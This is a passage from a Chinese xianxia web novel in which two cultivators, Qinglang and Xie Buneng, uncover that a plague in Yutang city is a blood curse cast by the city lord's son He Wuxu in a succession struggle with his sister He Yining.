“玉堂城的疫病,不像表面看上去那么简单。我追着你去连梦山以前,已在玉堂城探查已有许久,深觉源头蹊跷,扩散之势也不同寻常,背后怕是另有文章。我一人之力终究有限,而你恰是我认识的人里最厉害的——平州为数不多的修行者。”
青琅心气骤顺。
人与人之间,相互算计是理所应当。她被谢不能看透,未能防范谢不能的算计,是她技不如人。此乃常事,无需再费心神多想。
“说说吧。”她道,“你要做什么?”
谢不能道:“如今查得的病源,是一位走街串巷的卖货郎,红枫镇人士,行动轨迹遍布整个玉堂城东北部。此症诡异,感染后,病患额间先生红痣,红痣发红痕,红痕侵入肌肤游走周身,不过两三日便教人枯槁而亡。我接受同善会委托,进入玉堂城帮忙那日,已有千余人受到感染,范围不断扩大。”
“在我到来的第三天,有位医者来到玉堂城,以家传之法控制病情,见效极快。我猜测是外界前来帮忙的医修,上前攀谈。他见我……诚心发问,便对我说,想根除此症,药石无用,需得用人血掺符灰,兑护城河水饮之。”
20. 玉堂城怪病(2)
“是病,理应遵循医理,或用药石汤剂扶正祛邪,或以针砭推拿通经活络。万变不离其宗,无非是辨证施治,调和平衡。”
“符咒之道,是引天地灵气或化人之灵力,通过特定的方式与法则作用于目标,达到请神驱邪、封印压制等效果……用符灰治病,闻所未闻。这样的方法,更像是在施咒或解咒。”
长街冷清,行人零星,皆面带恐慌。
不远处的药材铺里,有人正蹲在地上挑拣。谢不能抬手示意,低声道:“那便是以家传之法控制病情的医者,姓岳名平,自称师从北水道扶薰谷,得过医圣点拨。”
青琅抬手掐诀,一道微弱的灵力没入岳平体内。她闭眼片刻,对谢不能道:“如你所言,平州灵气稀薄,而此症牵涉千人,若是咒法,需要耗费不少灵力。依我之见,岳平此人灵力普通,并不足以独立完成此事。”
“你若与他对上,有几分胜算?”谢不能问,“他将符纸藏得严实,同善会的人只能帮忙煎一些固本培元、调养气血的汤药。我想看看那符纸上面,是否有什么线索。”
青琅道:“你要我去偷还是去抢。”
谢不能双手合十,诚恳道:“我也是多次讨要无果,方才出此下策。”
青琅道:“无缘无故偷盗抢劫,该与图雅商队一道在永和城下车,去往审讯厅。”
谢不能犹豫许久:“他的方法有效,而我作为一个束手无策的旁观者,本不该多管闲事。只是他说自己出身北水道扶薰谷,让我有些在意……”
青琅偏头看他。
只听谢不能道:“这些信息,是我根据天示所言拼凑而来的。魂魄离体后,我陷入昏迷,不知为何在北地雪原醒来。江湖传言,北水道冰封万里,唯有隐世的扶薰谷得天独厚,四季温暖如春。我身体虚弱,头痛欲裂,久闻他们医者仁心,便努力找寻,想入谷求救。”
“我找到了。”
“谷内空无一人,寂静得可怕。我走了许久,看见各处堆积着累累白骨,长阶渗着暗红血迹,唯有漫山遍野的花丛开得灿烂……在道路尽头的几间木屋里,我找到了一封血书。”
“血书字迹潦草,言语怨毒,大致内容是——有一个疯子求药不成,便大开杀戒屠戮全谷。扶薰谷上下俱是医修,没有反抗或逃跑的能力,只能含恨留下此信。若有幸被后人看见,还请为扶薰谷百余冤魂向明家讨要一个公道。”
“我带着这封信,自觉责任重大。只是我没有能力面见明家人,又有事关自身生死的大事急着要做……遇见岳平,或许是了结此事的关键。我确认过,他身为修行者,已经加入道盟。他若真是扶薰谷流落在外的幸存者,这封血书,交予他更好。若他不是扶薰谷后人……说不定与当年屠人满门的凶手有关,我亦可以多加留心。”
青琅道:“十成。”
谢不能怔愣片刻,才想起来她是在答。
他拢了拢帷帽,垂眼道:“岳平会在药材铺内室起火烧符,天花板有一缺口用于通风散气,我们或许可以……”
还未说完,他话音一顿,难以置信地伸出手,用指尖拎起青琅递过来的黄符。
“一个时辰内,别再让我做事。”青琅轻轻皱了皱眉,“修行不易。”
谢不能谢过,仔细观察那符。
这张符质地粗糙,纸张是民间求神拜佛图个心理安慰时常用的普通货。然而,上方用朱砂绘制的图案异常繁复精妙,笔触流畅,看得出制符人道行很深。图案最中央,有一个锁扣状的图形,两边都空着,并未填补文字。
谢不能凝神细看许久,低声道:“难怪岳平要用人血混着符灰让患者服用。那些血,恐怕出自同一个人。”
“古往今来,血咒无不歹毒,往往会产生连施咒者都无法掌控的后果。想要完全操纵血咒,可以提前备好一张因果符,两相叠加,虽然会削弱血咒的功效,但可以达到施咒者可以自由解咒的目的。咒术典籍将其称为——解铃还须系铃人。”
如此看来,查出患者服用的汤剂里混着谁的血,便能查出这场离奇“疫病”的幕后黑手。
然而,根本不用查。
街头取药的婆婆情真意切地感叹:“何公子心系百姓,愿意用自己的血来作药引,老身喝着这碗药,心里头实在是……”
——且说玉堂城,城主膝下有子,姓何名无许。此人出身高贵,难得没有长歪,品性端正,为人仁义。据说,他自小便行走民间,见众人疾苦,多做赈灾修缮之事,很受百姓感激。
有辰雁这位人模人样而狼心狗肺的瓦砾在前,二人并未对何无许做出什么评价。
谢不能问:“城主之子,我们如何查问?我有两计,你挑挑。”
青琅道:“我选偷听。”
谢不能收回两根手指。
青琅道:“柳然出身清静道名门大派,实力远胜你我。她有一位随行仆从,灵力深沉,视线阴森,似乎也不一般。我一个普通人,还是少与他们接触为好。”
……
城主府坐落在玉堂城中心,高墙深院,红墙朱门,很是气派。二人抵达偏院屋顶时,不出所料,柳然与仆从已落座其间。
茶香四溢,水雾氤氲。何无许一身素雅长袍,面容俊朗,举止有礼,言谈带笑,不见半分权贵子弟的骄纵之气。
何无许道:“近来城中事务繁忙,柳仙长大驾光临,有失远迎,还望恕罪。”
柳然形容疏狂,言辞亦不算客气:“修士修道,谈何神仙鬼怪?仙长之称,实乃客套奉承之谬误。修士悟道受封,不受往昔尘缘束缚,其一便是亲缘,其中便有名姓。你喊我的封号柳然就好。”
何无许笑脸相迎:“不知您今日前来,所为何事?若是有关疫病……此事很受父亲重视,我不过打打下手,个中详细,倒是不好越俎代
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庖。”
柳然严肃道:“你既与岳道友联系密切,想来不会不清楚事情原委。还需我详细解释?”
许久,何无许叹了口气,无力地垂下手,脸上浮现出一种复杂的神情——痛苦而无奈,释然而解脱,带着深重的疲惫。
他站起身,缓步走到窗边,望着高悬的烈日,久久不语。
再转身时,眼中已有决断之色。
“我说过,会被发现的。”他的声音低沉而悲哀,“事关舍妹声誉,我本不欲将此事外扬,只是你既已查到此处,为了全城百姓,我还是坦诚相告更为妥当。”
“我早已察觉这场疫病不同寻常,并暗中调查多时。我先查到离奇出现的修行者岳平,再查到舍妹亦宁。”
“亦宁在老一辈眼里不成体统、不成气候,但为人活泼善良。她会去主动帮助邻里街坊,有时候是找回走失的猫狗,有时候是替老人读信……我想不到她会做出这种事。”
“父亲年事已高,欲择一继承者,担起玉堂城的未来。亦宁身负灵根,更得父亲看好……虽长梧山庄铁律在上,但是时移物换,长梧山庄的势力已退居西部永和城,人人都知修行乃大势所趋。我一介凡人,如何能比?不过有些微薄名声,有几位乡亲替我说话……”
“早些时候,亦宁听闻民间流言,一时冲动,勾结岳仙长,给百姓种下恶咒。我说怎么……举全城之力而药石无医。她可能想着,待我无法解决此事,民心尽失之时,她再出手力挽狂澜,便能顺理成章地获得少城主之位。”
何无许闭上眼,痛苦地颤抖着。
“我拜见岳仙长,跪下来求了他很久,他才告知我如何解咒。可笑,我不忍看百姓受苦,难道舍得看亦宁受苦?她那么娇气,少时练武,没两天就喊痛喊累,读书时候,连熬夜都熬不动……不如由我来替她。”
“幸好,我们是同胞兄妹,身上流着一模一样的血。这一切,都由我来承担吧。玉堂城需要一个修行者,亦宁的灵根独一无二,最是珍贵。而我一介凡人,没什么好可惜。我与她一向亲近,只盼她见到此事,日后能幡然醒悟,走上正途。”
柳然低头沉思。
她对咒术一道了解粗浅,只知道确实有同源血脉可以共通的说法。无名会知道她专修医道,只偶尔杀杀人,为何还要以医治疫病的理由让她千里迢迢赶来?以无名会的本事,不可能没发现她所能发现的东西。
柳然神情不显,告别何无许,离开城主府。
有人拦路。
这人眉眼黑沉,面上无甚血色,唯眉心一点红痣引人注目——那红痣四周有红痕显现,沿着侧脸与下颌,一路延伸到青白的脖颈。
柳然惊道:“青琅道友?”
如同先前在马车上,青琅一张从容沉静的冷漠脸,语气很淡地礼貌打招呼:“柳然道友。”
“不知为何,我突发疫病症状。”
21. 玉堂城怪病(3)
“怪事。”
柳然为青琅把脉,“此症凶戾,寻常患者一发作,身体便如洪水决堤,顷刻间精力枯竭而气血两亏。我方才巡诊城中,所见数十病患,脉象无不迟缓微弱……你的脉象却不浮不沉,从容平和,似乎全然未受其扰。”
她的眉头越皱越紧:“我探查到两股力量在你的经脉间冲撞。一者阴寒歹毒,当是咒力所致;一者热烈无序,似是应激而生,但是并未产生平衡保护的效果。二者皆非你自身所有,被你的本源压制着,只现于微末之处……你做了什么?”
青琅道:“我常年锻炼,身体较常人康健。”
柳然微微颔首,目光落在青琅脸上,带着几分审视:“看你年岁不长,修为深厚,是师从哪门哪派?平日里练什么功法?岳道友的‘药’不对劲,我先给你开一个温养滋补的方子,避免咒术侵蚀你身体。”
“多谢。”青琅承下情,想了想,发现自己想不出一个好答案。
她话音一转,改口道:“不必。我稍后借此由头,正好去找岳平问药,探探他的底细。”
柳然收回视线,笑道:“你不想说,不说就是了,何必太客气?我身为医者,见到病患,断然没有袖手旁观的道理。你且拿着我的方子,让药铺煎一盅服用。”
……
辞别柳然,二人往药材铺走。
谢不能道:“方才去城主府的路上,我们看见柳然仆从的纸傀往南飞,与一黑衣人接头。你有消息可以与柳然交换,为何不拿她的药?”
青琅问道:“你为何诊断不出?天示来势汹汹而不可控,你平日里在庆来客栈与人看病,是如何把脉的?”
“说来奇怪。”谢不能道,“我在安定城替人看病时,天示时灵时不灵。望闻问切,若是天示出现,我便关门歇业;若是天示未现,我便诊断下一个病人。”
青琅心道:他诊金低廉,显然并非以此为生。既然天示如此扰人,他何苦执着于这份要与多人接触的行当?无方石残片之事与我有关,并非他一人受益,若他诊脉真会伤及己身,先前约定就此作罢也罢……不如我自己冒个风险,与柳然多加接触。
不多时,二人来到药材铺外。前方空地上,稀疏排着二十余人,鸦雀无声,只偶尔传来几声压抑的低咳。
队伍前方,岳平正在熬煮药液。
只见患者接过药碗,仰头饮尽,努力吞咽那看着就不太对劲的符灰,而后依言在一旁静坐,无人有异议。
不过一刻钟,那些原本面如死灰、气息虚弱的人,眉间红痣竟然逐渐淡去,死气迅速消退,眼中恢复几分神采。
“柳然诊出阴毒之力后,我自行运功周天进行探查,”青琅道,“我们一路而来,离这间屋子越近,我体内的那股阴毒之力便越是活跃。我们在这里站着看了这么一会儿,它更躁动了。”
谢不能闻言,下意识想探手为她把脉,刚抬起手,又迅速缩回来。
他苦笑一下,从袖中摸出一个玉瓶,倒出两粒药丸递过去:“且先服用这个,暂压异动。我受杀阵伤及肺腑,又被辰雁打了一下,再贸然探你经脉,若引动天示,只怕会当场吐血倒地,反倒误事。”
这丹药灵气氤氲,绝非凡品。青琅此番疑似身中咒术,皆因谢不能自作主张挡那一击,她并不多加推辞,接过服用。
药力化开,一股暖意流经四肢百骸。对那本就被压制着的阴毒之力是否有用犹未可知,倒是抚平了青琅先前那一丝被算计而来的不情不愿。
她想:来都来了。
不远处,岳平擦了擦额角的细汗,扬声道:“诸位乡邻,今日的药引已尽。何公子为此耗损心血,体虚乏力,需好生静养。其余人,明日请早吧。”
人群发出一阵失望的叹息,却也无甚怨言,默默行礼后,三三两两散去。
岳平转过身,正欲收拾药炉,一眼瞥见站在角落的谢不能与青琅。目光触及青琅额间红痣与面上若隐若现的红痕,顿时一惊:“谢大夫?这位是……”
谢不能上前一步,忧虑道:“岳道友,这是在下的好友,不幸感染疫病,特来求药。”
岳平眉头紧锁,仔细打量青琅片刻,迟疑道:“这……今日药引确已用完。不过,既然是谢大夫的友人……请二位稍候,容我进去请示何公子。”
不多时,岳平去而复返,端出一碗新药:“何公子仁厚,不顾身体赠药。请姑娘趁药性未散,尽快服用。”
青琅接过那杯温热的液体,指尖触及杯壁的瞬间,心下一愣——被她放在衣袋的残片,气息骤然翻涌起来。
她面无表情,将瓷碗凑近唇边,用灵力包裹住其中药液,悄然将其引入暗藏的容器。
岳紧盯着她动作,见她安分饮入,稍松一口气:“姑娘在此静坐片刻,观察药效。若有不适,还请即刻告知我。”
话音未落,青琅已放下空碗,转身便走。
岳平一怔。
谢不能连忙上前,将几枚银钱塞入岳平手中,赔笑道:“岳大夫莫怪,我这位朋友性子特别,不善言辞,绝非对你与何公子不敬。今日多谢道友慷慨赠药,谢某改日再登门拜谢。”
言罢,他匆匆一揖,快步跟上青琅。
二人寻至一条僻静无人的巷子深处,确认四周无人后,青琅摊开手掌——一团被灵光包裹的药液悬浮其上,里头掺着符灰,散发出甜腻古怪的气息。
青琅道:“你看,这碗药里,有与残片相似的气息。”
青琅道:“在无名村时,我曾见记忆中的自己将残片赠予他人,用以化解人为灾病。无方石可以入药,莫非这缕气息,正是其药用的玄机所在。”
谢不能道:“无方石乃天地至宝,与其说有人参透其玄机,我认为有人持有理由无方石的可能性更高。你所拥有的残片,陈泛放在佹神庙里用于牵动恶意的无方石……竟然还有别的无方石?”
青琅道:“我去偷一张符看看。”
谢不能道:“岳平的药,除人血与符灰,还需用到护城河水。不如我们先到护城河边看看,若是幸运,或许还能寻得新残片的线索。”
时至黄
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昏,霞光照落,护城河一片柔和的暗红。岸边不见半个人影,唯有几只飞鸟低低掠过水面,波澜不惊。
青琅立于岸边,闭目凝神。她引导着体内那股属于咒力的阴寒气息,用灵力激发残片,试图将二者与河水产生感应。
片刻之后,她倏然睁开眼:“河底有东西,气息浓烈,与残片相似。它在吸收四周的阴寒之力,却完全无视我体内的阴寒之力。还有一种奇怪的能量,难以言明……”
就在此时,一个女声在二人身后响起:“青琅,这样的场面,你可熟悉?”
青琅回头。
来人立于暮色之间,姿态清冷高洁,声若冰玉相击。一身白衣高冠,领口与衣摆处绣着繁复银云纹,是明家长老服制。
她的目光落在青琅无甚表情的脸上,不着痕迹地眯了眯眼:“我收到消息,便想过来找你,谁料琐事缠身,被陈泛抢先一步。如今看来,来得早不如来得巧。”
青琅道:“你若有话,不妨直说。”
她觉得这张脸眼熟,可惜不记得在哪里见过。谢不能俯身过来,低声道:“是明家十二殿长老之一——长石殿的雪里真人,修行界各处可见她的画像与雕像。你对柳然避之不及,却与她有所交往?”
雪里真人面色冷若冰霜:“我自然不同于陈泛遮遮掩掩。引你过来亲自探查,是想让你眼见为实。你当年亲手折剑,将这块残片赠予我,你说,你对铸剑的符文做过改动,如今的它,可以吸收临近的阴晦邪祟,将其转嫁你身。”
谢不能大惊,插话道:“转嫁……难道说,那些百姓并非是被治愈,而是将症状转移到了青琅身上?”
“不错。”雪里真人答得干脆,视线却未离青琅半分,“吸收、承转、归于其主……若非亲眼所见,谁敢相信一把剑的残片还有如此效用?我若直接前来,对记忆有损的你坦言,你会信我几分?你且放心,这些咒术于你不过蚍蜉撼树,伤不了根本,只是用来证明我所言非虚。”
青琅抬手,那块藏于河底的残片似被无形之力牵引,稳稳落入她掌心,寒凉彻骨。
雪里真人眼中闪过一丝不易察觉的期待:“老师说过,你剑道大成,与九天玄石剑近乎一体。你如今记忆有损,想来是那剑离身太久的缘故……如今残片回归,你可有想起什么?”
青琅收起残片,并未用灵力激活,只问道:“我们从前是什么关系?”
雪里真人望着她,语气缓和下来:“当年青崖书院同窗者众,唯你能与我一战,我们是很好的朋友。可惜,于你而言,那只是一段平淡的求学时光,与你后来的经历相比,微不足道。你会优先忘记,也是正常。”
出乎意料,青琅道:“我记得。青崖书院,有人暗自篡改我所借阅的典籍,害我邪气入体,险些走火入魔。待平州事毕,我会去找他清算这笔旧账。”
雪里真人面色一变:“你记得他,但是不记得我?绝无这样的可能……我将残片物归原主,虽是理所应当,却也有几分苦劳吧?可否同我说说,你的记忆究竟是怎么回事?”
22. 玉堂城怪病(4)
“青琅,你没有封号,在论道大会这样的重要场合,只能以本命法器来称呼你。你所填写的‘九天玄石剑’不太符合规则,不如再改改?”
负责登记填报的学生在比武场内找到青琅。
青琅道:“这把剑是用九天玄石做的。”
负责人耐心道:“别人喊你九天玄石剑,你好意思应吗?且不说普通冗长没气势,就单说放在这一串名单里,都显得格外违和!”
青琅沉思片刻,偏头问:“你的本命法器叫什么?”
彼时的雪里真人——明霜退还未获封道号,性格较如今活泼许多,闻言,很是骄傲地挑挑眉:“叫作‘止语铃’,是表哥帮我取的,意思是打得别人变哑巴!你觉得怎么样?”
负责人犹豫道:“明道友,清英的意思或许是……”
明霜退怒道:“你喊我表哥这么亲昵,喊我却如此生疏,有何目的?我警告你,不准连名带姓地喊我!旁人听说我是谁,都不愿意与我打架……”
负责人扶额苦笑。
青琅道:“那我叫止语剑。”
明霜退继续怒道:“就你还叫止语剑?作为我的手下败将,你……”
远处恰有人高声问:“青琅师妹,还打不打?我与长老约了午时的雪境试炼,我们只能再打一刻钟了!”
青琅转头就走。
明霜退扯住负责人:“给我改!给她改成哑巴剑!被我打成哑巴的那个哑巴!”
……
如今的雪里真人如霜似雪,语调沉冷:“因果两清便抛之脑后,确实是你的处事风格。若非情势所迫,玉堂城是我必争之地,我也无意来与你再续前缘。”
“沧澜灵脉是当年玄清真人飞升时利用雷劫所建,意在引导四方灵气,便于后人修行。百年前,沧澜灵脉崩塌,世间灵气散乱,修行较从前艰难许多。这些年来,道盟着手推进修复事宜,一丝不敢懈怠,到如今不过重现雏形。有些人实力不济,无灵脉难以修行;有些人从中渔利,借机中饱私囊。他们都盼着灵脉快快修好,而我思来想去,能与我一同阻止这件事的,只有远在平州的你了。”
青琅问:“与我有什么关系?”
雪里真人道:“当年,是你引动天雷,炸毁婆娑道,以其为中心,令十五处灵脉接连崩塌。这样辉煌的时刻,你竟然也忘记了?”
青琅道:“无论你所说是真是假,我一点印象都没有。你若有证据,可以整理好去官府告发我。我只是一个普通人,不依赖什么灵脉修行,对别人如何修行也不太关心。”
雪里真人道:“若是与你无关,我不会贸然前来。婆娑道既已被彻底夷为废墟,埋藏在婆娑道地底的灵脉自然要有一个新去处。九州七道里,只有平州还能容纳一条新的灵脉。灵脉若成,灵气聚于一处,各分支由道盟分配,散修与世家之间再无公平可言,更别提长年生活在平州不堪一击的凡人们。”
青琅问:“你不是明家长老吗?”
雪里真人道:”玄清真人有云,道盟之道,为团结一心,锄强扶弱。我铭记在心,向来明辨是非曲直,不屑与其中豺狼虫蚁为伍。更何况,以我的天资毅力,可以堂堂正正地胜过任何人,根本无需踩着谁的骨血得道。”
谢不能先前有天示回忆,并不清楚自己在沧澜灵脉崩塌一事中扮演什么角色。以他谨慎性格,自然知晓此时此刻降低存在感最为合理。
他犹豫片刻,忍不住问:“沧澜灵脉离奇崩塌之事,原因至今未有定论。你空口无凭,又不直言需要别人做什么,怕是让人不好掂量。”
雪里真人分给他半点余光:“我们想要做的事,不说志同道合,也算殊途同归。各处灵脉的核心用世间最为坚硬而最为锐利之物包裹,就是九天玄石。青琅要找残片重铸无言剑,你要找残片收回魂魄,天地之大,无异于大海捞针。”
谢不能道:“你调查我们……”
雪里真人望向青琅:“我会将沧澜灵脉的核心所在告知你,你帮我打破九天玄石所制的屏障,然后击毁核心。打破的九天玄石归你,你要直接拿去铸剑也好,利用它去寻找同源的残片也好,我再不过问。”
“若是这样交换不够……那个暗自篡改你所借阅典籍、害你险些走火入魔之人,早在几十年前,我听闻此事时,已替你杀了。作为报答,还请好好考虑我的提议吧。”
谢不能想:她确是十分了解青琅。
果然,青琅顶着那副“世界与我无关”的淡然表情,很礼貌地答道:“维护平州的安定,是每一位平州百姓的责任,我定会尽绵薄之力。至于你话中其它,真真假假,我会去探查的。”
“静候佳音。”雪里真人转身离去。
谢不能道:“我在天示之中见到过,你要与沧澜灵脉同归于尽。但是否行动,犹未可知。雪里真人的话,不可尽信。待我状况好些,再对你施用天示……收回那一丝魂魄后,我隐有预感,或可对天示方向稍加控制。”
“不必。”青琅道,“关于我忘记了什么,我其实半分兴趣也无,只是先前见陈泛语焉不详,疑心是有因果未尽。如今看来,似是如你所说,时间久远,又无关紧要,被我抛之脑后。”
谢不能欲言又止。
恰在此时,远处传来一阵喧哗。有十余位衣着考究的青年抵达护城河边,举着火把,将四周照得亮如白昼。观察他们神色,似是争执欲起。
争执的中心,站着何无许。
又放一天血,他虚弱得站不太直,面色苍白,中气不足:“诸位姐妹兄弟,众所周知,疫病药石无医,若非岳仙长从天而降,我们束手无策。我知晓大家对我颇有微词,认为我近日独揽治病救人之功劳。我本想万般苦楚隐而不发,只是事到如今,实在难以继续孤独自承担……”
“表哥连夜召我们来,有何话要说?我是见着表哥一日比一日憔悴了……若是有什么我们帮得上忙的地方,还请快讲!”有人接话道。
另有人说:“怎么会?我们不过是担忧不能为百姓出一份力……”
何无许叹道:“岳仙长与我说,此番疫病,是有心人故意为之。与往日春瘟鼠疫不同,这是一种诅咒!诅咒就像一只虫
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,种在人的身体里,蚕食人的□□与精神……想要驱逐这只虫,需要用到特定的人血。”
“我实是连日放血,力有不逮,若是再继续下去,恐有生命危险……此番偷偷喊大家过来,是想问问,可有人愿意帮忙?”
众人面面相觑。
“不对。”有人开口,走到何无许身侧,思索道,“兄长,你方才说,需要特定的人血?我曾在修行界的某本咒术杂谈中看到过,阴毒而范围广大咒术,讲究‘解铃还须系铃人’——只有用于激发咒术的鲜血,才能解开咒术。”
无数道怀疑审视的目光交错,大家相互打量,最终通通不由自主地飘向何无许。
在这样的目光里,何无许几乎站立不住,哀声道:“亦宁,你此言何意?难道怀疑兄长是那丧尽天良之人?我若是施咒者,何苦日日取血,耗损自身元气来救治百姓?”
何亦宁道:“不过猜测而已。”
何无许垂首无奈道:“也罢,大家有此疑惑,是合情合理……”
连忙有人插话:“表哥怎么会做这样的事?亦宁,莫要仗着有些本事,就胡言乱语。”
何无许低声道:“我请诸位来到这里,正是因为岳仙长说——与施咒者有血缘关系之人,其血液亦可缓解病症。虽说效果远不及施咒者本人,但我们同辈人齐心协力,还玉堂城百姓一个无病无痛不是难事。”
有人惊道:“你的意思是,施咒者就在我们其中?”
“看表哥神色,似乎心里有数……到底是谁做的?自家人作恶,我们自家人帮忙弥补是理所应当,但什么都不说清楚就要我们这些蒙在鼓里的人承担后果,未免太过不公!至少应该指明罪魁祸首,依家法处置!”
何无许缓缓转过头,望向何亦宁。
何亦宁道:“兄长知道是谁,直说便是。月前长街尸首堆叠,哭嚎声昼夜不息,若是人为,莫说以家法惩治,我恨不得将那人碎尸万段,让他以命相偿!”
何无许很轻地闭了闭眼。
何家同辈之间,谁不知道这对处在玉堂城权利中心的兄妹最为亲厚?何无许这样一副迟疑痛心的表情,看得人心里直犯嘀咕。
有人上前一步:“无许表哥与亦宁表姐的品性,我们有目共睹。但是,事已至此,何不敞开天窗说亮话,免得我们疑心二位假借分担之名行包庇之实,败坏情分。”
另一人道:“依我看,不如请上几位长辈,大家关起门来谈论。既不外扬家丑,又能让真相水落石出!”
有人应和。
有人表达反对:“我们之中,只有亦宁懂得相关知识,各处消息,全出自无许之口……此事非同小可,不宜仓促进行,不如约定明日午时,请得长梧山庄派遣而来的医者,还有各位长辈,聚于城主府前厅,当众验证!事关玉堂城百姓,怎能说只是我何家家事?”
“也好。”何无许道,“长梧山庄燕庄主,特请外界医修对玉堂城施以援手,由她的表弟孟公子护送而来,如今住在长扬小院。我即刻派人去请,述清事情原委……明日午时,诸位,不见不散。”
23. 玉堂城怪病(5)
午时,城主府前厅。
日光透窗,照得一片澄明。长梧山庄来客与何家各支长辈俱已到场,两侧座椅排开,众人按序落座,神色各异。
何无许站在中央,面色较昨日更为苍白,一身素色长衫衬得他身形单薄。其余人依礼错落站着,都有些睡眠不足而精神不济的模样。
“今日所言之事,关乎玉堂城稳定与我何家声誉,还请诸位勿要外传。”
上座的老者颤颤起身,率先打破沉默,视线转向场中小辈,“人已到齐,你们分别有何证据,速速道来!”
何无许起身,对众人深深一揖,动作间牵动伤势,引得一阵轻咳。
他俯身缓解片刻,方才虚弱道:“此番疫病,是有人暗中下咒。事到如今,纵我试图继续隐瞒,想来也有心无力……我昨夜睡不着,心所思所念,都是为什么会走到这一步……”
“下咒之人,是亦宁。她为夺城主之位,不惜以全城百姓的性命为筹码,来赢我。”
满场哗然!
视线聚焦处,何亦宁难以置信地抬起头:“兄长!你疯了吗?怎能如此血口喷人!”
“血口喷人?”何无许惨笑一声,“亦宁,哥哥不能再帮你了。岳仙长,当初你与我说,是亦宁威逼利诱于你,让你协助她用血液为引给百姓下咒时,我的震惊不比在座各位少。现在,请你当着诸位客人与长辈的面,将真相原原本本说出来吧。”
岳平与他对视一眼。
而后,岳平上前一步,躬身行礼,面色沉痛道:“回禀诸位,何公子所言,部分属实。此咒阴毒,确需施咒者血脉为引,而何小姐……”
他似难以启齿,停顿了一下。
上座老者面色阴沉:“但说无妨。”
只听岳平道:“何小姐并未取血下咒。真正取血下咒之人,是何公子。”
一片死寂。
何无许脊背一僵,愕然道:“岳仙长?你先前明明不是这样说的!”
“我明白了……”他思索片刻,“今早有暗探来报,昨夜隔离在家中或坟场大棚处尚未痊愈的十余名患者,纷纷死于非命。亦宁,你不敢当堂取血验证,就杀人灭口销毁证据,还威胁串通岳仙长诬陷我!?”
静坐在侧的柳然开口道:“那些患者,已经全部被我保护起来。你的血太过肮脏,即使可以治愈他们,我也不想用。我托人准备了反噬的符咒,稍后会当堂用灵力激活,在他们身上施展。是谁下的咒,就由谁来承受。”
何亦宁道:“将他们带上来!”
门被推开,有卫兵护送十余人缓步走入。这些人个个面色蜡黄,行走间步履虚浮,额间红痣鲜艳,裸露在外的皮肤上可见数道诡异交错的红痕。
那十余双眼睛,在目光触及何无许时,骤然迸发出几乎化为实质的怨毒与恨意!那恨意如此浓烈,带着后怕与不甘,死死钉在何无许身上,是无声的嘶吼。
何无许被这十几道目光钉在原地,脸色惨白如纸,下意识后退半步。
只听何亦宁道:“兄长,从设局偷取我的血,对百姓下咒,再到假意自伤卖惨,博取同情,最后伪造证据,意图将我彻底踩入泥潭……每一步,你都算得很精妙。”
她环视众人,朗声道:“可惜,你算错了。你太小看我,也太小看这玉堂城的百姓了!他们的命,不是你用来争权夺利的筹码!昨夜,我觉察你的阴谋,恳求岳仙长获悉真相后,连忙联系余下几位患者。他们听闻此事,都愿意再隐忍一夜,在今日,让你在所有人面前,原形毕露!”
“兄长,你还有何话可说?”何亦宁抬手,众目睽睽之下,点燃了柳然的反噬符咒。
何无许踉跄后退,撞在椅子上,发出刺耳的声响。他的身体以肉眼可见的速度干瘪下去,七窍渗血,模样可怖至极。
他望向何亦宁的方向,一扫斯文,忽然仰天大笑起来:“成王败寇……若算我输,定是输在不够你狠心……”
淡淡的血腥气弥漫开来。
何亦宁站在原地,看着何无许的尸体,良久,才轻轻闭上眼,掩去眼底复杂情绪。
当她再睁开眼时,已恢复平静。她对厅内众人深深鞠躬,愧疚道:“兄长误入歧途,酿成大祸,亦宁发现得太晚,害玉堂城水深火热半月有余,亦有罪责。我自甘受诸位长辈惩处,任何责罚,绝无怨言。”
长久的沉默后,上座老者叹息道:“此事由无许而起,如今他已身死,便到此为止吧。亦宁,是你受委屈了。日后,玉堂城的重担,还要落在你肩上,这样的事情不会少。经此一遭,你该长大了。”
尘埃落定。
仆从们沉默地上前收拾残局,擦拭地砖上暗红的血迹。厅内重新燃起昂贵的熏香,清浅幽雅,将一切粉饰得崭新,悄悄退去。
何亦宁独立窗前,望着日光。
“值得吗?”柳然的声音很轻,落在寂静的厅堂里却格外清晰,“那些因‘疫病’死去的百姓,前后共计六十七人。你昨夜欲斩草除根的患者,共计十三人。你与岳平联手设局,纵容推动何无许的行动时,有没有想过他们本不用受血咒折磨,本不用因血咒而死?”
何亦宁转身看她。
她没有半分胜利者的喜悦,没有半分设局者的冷酷,亦没有半分后悔或悲悯。
“柳然,你所见所思,是修行界的秩序与规则。你不知道,在凡俗权力场,温和往往意味着软弱,仁慈等同于败亡。”
“你以为方才堂上长辈甚至同辈表亲,看不出我与何无许是相互算计?父亲年迈,各方势力虎视眈眈,玉堂城需要一个强大的继承人,何家需要一个强大的领导者!既是我赢,我便是对的!所以,即便你无视无名会的警告,强行救下患者十三人,让我的行动漏洞百出……何无许一死,无人会再向我开炮。”
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“至于死去的百姓……他们活在何家庇佑之下,对安稳的生活习以为常,觉得这一切都是与生俱来理所当然的。他们看不见外头风雨飘摇,看不见玉堂城山雨欲来。唯有让他们真切地感受到痛苦,感受到失去庇佑的恐惧,他们才会明白,谁才是能真正保护他们的人。他们才会将这份庇护,牢牢记在心里,保持虔诚,永远不忘。”
柳然不再多言,转身离去。
屋顶,青琅与谢不能收回视线。
谢不能道:“柳然的反噬符咒,能否买来一张,用在你身上?凡人勾心斗角争权夺利,雪里真人偏来横插一脚,非得牵连你。”
青琅道:“小伤而已,于我而言,不痛不痒。最迟明日,就能痊愈。我身上咒术源自无辜中咒的百姓,若是反噬回去,以他们的身体,必死无疑。”
谢不能道:“此事与你无关,你何必平白受罪?真论起来,若不是我一定要拉你过来,雪里真人也没办法害你……”
青琅道:“你若不愿欠我人情,不如帮我一个忙。”
谢不能道:“倒是我忘记了。你先前在佹神庙前答应帮我接触无方石,应该是想换得我帮你这个忙吧?”
“回到安定城后,你到兴旺街来,帮我治一个人。”青琅道,“无论治好与否,我们都算两清。”
谢不能道:“治病救人,是身为医者的分内之事。只是玉堂城疫病之事虽竟,我还需对岳平的身份进行探查……昨夜你收到无名会金帖,似乎也要在此多留几日?”
“是雪里真人的来信。她说,无名会是她的底牌,柳然是无名会的中流砥柱,她要将我们聚在一起,好好认识一番。”青琅道,“我见你连替人把脉都艰难万分,便想着不如求助柳然——她是空青谷医修,想来实力不俗。不过,如今既然已与你谈妥,我即刻去回绝。”
谢不能犹豫道:“你如此果断,当真不好奇雪里真人所言过往?”
青琅偏头,往向远处街道零星行人。
